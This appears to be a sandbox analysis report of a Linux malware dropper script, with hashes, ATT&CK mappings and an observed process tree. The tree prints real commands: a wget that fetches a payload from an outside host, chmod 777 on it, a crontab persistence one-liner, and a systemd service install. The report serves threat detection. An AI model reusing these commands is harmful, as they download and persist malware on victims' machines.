b4ad4a20ca288d0b40392c1ca6f93143094d3b097a5da1803c2d0d89418700a9

General

Target
s1ipknot.sh
Size 2KB
Sample260511-mpk2jsay3q
SHA256 b4ad4a20ca288d0b40392c1ca6f93143094d3b097a5da1803c2d0d89418700a9
MD5 647dd8a994fc4c6486d5ff43f53bf03c
SHA1 019c1d71d58d76b3ff2ad8a727f254826b595f91
SHA512 5df44c4b317f1cd535cbd294cdacf9c5ea7bacffbd2c52000545b5f10a96efb45aa24f51df0c87420ea226ea357bda1c5d8f1011a8a4f939ff98f7459ae06779
TLSH
T17B41E0DBBC62B133978EC03E23AD6406A487992B457C1D38704D6C347F784A4F8796B9
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
680	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.kworker	678	s1ipknot.sh

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	205.185.115.131
Destination IP	205.185.115.131

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Nii1JZ	crontab

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	.kworker

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/toxnet.service	.kworker

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	[kworker/0:0]	682	.kworker

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
648	s1ipknot.sh
679	rm

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.kworker	wget
File opened for modification	/tmp/xxeurbmrod	.kworker

/tmp/s1ipknot.sh
/tmp/s1ipknot.sh
1⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:648
- /bin/uname
  uname -m
  2⤵
  PID:650
- /bin/rm
  rm -f /tmp/.kworker
  2⤵
  PID:652
- /usr/bin/wget
  wget -q -O /tmp/.kworker http://data.913337.xyz/wp-content/upgrade/cache/kaf.arm7
  2⤵
  - Writes file to tmp directory
  PID:655
- /bin/rm
  rm -f /tmp/s1ipknot.sh
  2⤵
  - System Network Configuration Discovery
  PID:679
- /bin/chmod
  chmod 777 /tmp/.kworker
  2⤵
  - File and Directory Permissions Modification
  PID:680

/tmp/.kworker
/tmp/.kworker
1⤵
- Modifies rc script
- Modifies systemd
- Changes its process name
- Writes file to tmp directory
PID:678
- /bin/sh
  sh -c -- "(crontab -l 2>/dev/null | grep -v '/tmp/.kworker'; echo '@reboot /tmp/.kworker'; echo '*/5 * * * * /tmp/.kworker') | crontab - 2>/dev/null"
  2⤵
  PID:728
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    - Reads runtime system information
    PID:730
- - /usr/bin/crontab
    crontab -l
    3⤵
    - Reads runtime system information
    PID:731
- - /bin/grep
    grep -v /tmp/.kworker
    3⤵
    PID:732
- /bin/sh
  sh -c -- "systemctl daemon-reload"
  2⤵
  PID:733
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:734
- /bin/sh
  sh -c -- "systemctl enable toxnet.service"
  2⤵
  PID:755
- - /bin/systemctl
    systemctl enable toxnet.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:756
- /bin/sh
  sh -c -- "systemctl start toxnet.service"
  2⤵
  PID:788
- - /bin/systemctl
    systemctl start toxnet.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:790

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Boot or Logon Autostart Execution

2

T1547

XDG Autostart Entries

1

T1547.013

Boot or Logon Initialization Scripts

1

T1037

RC Scripts

1

T1037.004

Create or Modify System Process

1

T1543

Systemd Service

1

T1543.002

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

2

T1547

XDG Autostart Entries

1

T1547.013

Boot or Logon Initialization Scripts

1

T1037

RC Scripts

1

T1037.004

Create or Modify System Process

1

T1543

Systemd Service

1

T1543.002

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rc.local

Path /etc/rc.local
Size 16B
SHA256 a0735432d4e4b017ec480f979a0e3c86c6457e62603e8ef4d2d282de55883164
MD5 70a4dd42731ef8a8adff3af6cfe128a9
SHA1 335b8c5d61b698fa083299ee101e569b26715844
SHA512 c86b39c40556d70a05dcb9e529b350c1bc204cbe890da89f86ea80ea5994920d9e7f765ae27328a90730a42bde055456892c3dfc0df39394c9b6fea6dc81109a
MD5 SHA1 SHA512

Submit Download

toxnet.service

Path /etc/systemd/system/toxnet.service
Size 165B
SHA256 065bad4f533c48a172633a2aea24ff6b2bf9c742f701d7410602b690b8c4101d
MD5 3e100defdf1ee9feafa1a9ffc1ce2531
SHA1 cacff3138f3214c49e454b637e48ce00102c290d
SHA512 7150b43b37a501e422035796026f643b01d0b9fabde096d4e5e68114a693b80b118c076c58dbac6eacdc50e3b7012add0f911ca1a7a244514c6da265901dc4dc
TLSH
T1D9C0805369311491CD4F35724FE26B409D1045414BCDD1740FD05C5604D5147525559D
MD5 SHA1 SHA512 TLSH

Submit Download

.kworker

Path /tmp/.kworker
Size 904KB
SHA256 badce7bed4893ad425491ed6f43ac0536886c49e0254b2786acc716c603ca3a1
MD5 6a66e3676a373e464ec2f5ca38ec99f4
SHA1 779805967c7c5fe47557e3d4ff29b5949c6f7e5a
SHA512 47542acd9841cd08bd6328925c4771c9672915a0fa27297ba98d84bbe53fd8cf50e3c1e5a000625b1bccf1642c9d11c62921e07ea71c58f062fa5662ea736228
SSDEEP 24576:vvfp66TYAHC4ggJe6+h3CeIvV9yGu8l8:vvfp6sYAi4xiR8l
TLSH
T17D15F19DF3AB2C4AC4DBD5794446C2958622ECA733F38B492F01A5BB342D3729F68345
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.Nii1JZ

Path /var/spool/cron/crontabs/tmp.Nii1JZ
Size 223B
SHA256 fad095e4994ea389e8e6de49e5362f5c9242f0449e66a2c14a823fb1778d0b58
MD5 8899e6ac7181d8b5e75f237d265ae5e1
SHA1 7ce864dfbc11a402530ab4ed134c25ececf937d2
SHA512 9addbc0760e684f068a31baeee7ac64924c361d6dda1d0fe20b8ebe5612cb6f23c136e476758e19218c33048099cf4fc298f92e0184dc4e4fae0a880e5e2239f
TLSH
T1FAD0232DBF10157015053795611F1715F841D06DC04D6F40E1AC6438415F74D6754961
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads